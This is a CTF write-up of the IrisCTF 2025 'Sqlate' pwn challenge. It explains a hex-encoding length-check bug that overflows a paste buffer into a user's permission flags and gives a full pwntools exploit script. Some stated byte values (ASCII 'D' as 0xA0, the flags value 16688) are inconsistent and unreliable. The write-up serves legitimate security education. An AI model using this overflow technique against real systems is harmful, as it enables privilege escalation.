Sqlate IrisCTF 2025 (pwn)

This past week I played in IrisCTF 2025 and tackled a pwnable called “Sqlate”, authored by lambda. It was presented as a pastebin app, with the challenge title hinting at SQLite use — and as expected, SQL injection was a red herring. This writeup covers how I bypassed the intended flow by leveraging a length-check bug in the base16 encoding logic.

Description

World‘s most secure paste app.

Solution

We’re given source code for a paste app. The goal is to trigger the function action_sys which will print the flag.

void action_sys() {
    system("/usr/bin/cat flag");
}

From the program’s menu, we can see that there’s a permission check before calling this function:

case '7': {
    if (!check_permissions(permission_root)) continue;

    action_sys();
    continue;
}

The check_permissions function checks the current user’s flags:

bool check_permissions(const int perms) {
    printf("Current Perms: %ldn", current_user.flags);
    printf("Perms: %dn", perms);
    printf("Current Userid: %dn", current_user.userId);
    if ((current_user.flags & perms) != perms) {
        printf("You don't have permissions to perform this action!n");
        if (current_user.userId == -1) {
            printf("You might need to login to unlock this.n");
        }
        return false;
    }
    return true;
}

You’re supposed to log in as admin to get root permissions. But we can’t guess or extract the password. That leaves us with these functions:

  • action_create → creates an entry in SQLite
  • action_update → updates an entry
  • action_info → shows an entry
  • action_list → lists entries

Only update looks promising. It lets you pick an encoding:

printf(
    "Which modifier?\n"
    "1) None\n"
    "2) Hex\n"
    "3) Base64\n"
    "\n"
    ">"
);

There’s a logic bug in the Hex (modifier 2) length check:

if (c == '3') {
    char* temp = base64_encode(line_buffer);
    if (strlen(temp) > 255) err(EXIT_FAILURE, "Attempted to overflow!");
    strcpy(line_buffer, temp);
    free(temp);
} else if (c == '2') {
    if (strlen(line_buffer) > 192) err(EXIT_FAILURE, "Attempted to overflow!");
}

The check is done before hex encoding, so we can write 192 bytes → 384 hex characters, but the actual buffer is only 256 bytes:

struct paste {
    int rowId;
    char title[256];
    char language[256];
    char content[256];
};

Memory-wise, the user struct follows the paste struct:

struct user {
    int userId;
    uint64_t flags;
    char username[256];
    char password[256];
};

That means overflowing content lets us overwrite flags in current_user. That’s how we gain elevated perms!

I overwrote the flags with 0xA0 (from ASCII ‘D’), which gave current_user.flags = 16688. But it turns out the required permission_root = 256 is satisfied by that flag because:

if ((current_user.flags & perms) != perms)

…passes, since (16688 & 256 = 256).

Memory Overwrite

solve.py

from pwn import *

binary = './vuln'
context.binary = binary

#p = gdb.debug(binary, '''
#    continue
#''')
p = remote('sqlate.chal.irisc.tf', 10000)

def send_menu_choice(choice):
    p.recvuntil(b'> ')
    p.sendline(str(choice).encode())

def create_paste(title, language, content):
    send_menu_choice(1)
    p.recvuntil(b"Enter Title: ")
    p.sendline(title)
    p.recvuntil(b"Enter Language: ")
    p.sendline(language)
    p.recvuntil(b"Enter Content: ")
    p.sendline(content)

def update_paste(title, content, modifier):
    send_menu_choice(2)
    p.recvuntil(b">")
    p.sendline(b"2")
    p.recvuntil(b">")
    p.sendline(str(modifier).encode())
    p.recvuntil(b"Enter content: ")
    p.sendline(content)
    p.recvuntil(b"Enter Title: ")
    p.sendline(title)

def list_all():
    send_menu_choice(4)

raw_payload_D = b"D" * 146

log.info("Creating initial paste...")
create_paste(b"4", b"4", b"D")

log.info("Updating paste with malicious payload...")
update_paste(b"4", raw_payload_D, 2)
list_all()

send_menu_choice(7)
p.interactive()

Flag

This triggers action_sys and prints the flag.


Writeup by XeroExecute
Challenge: Sqlate
CTF: IrisCTF 2025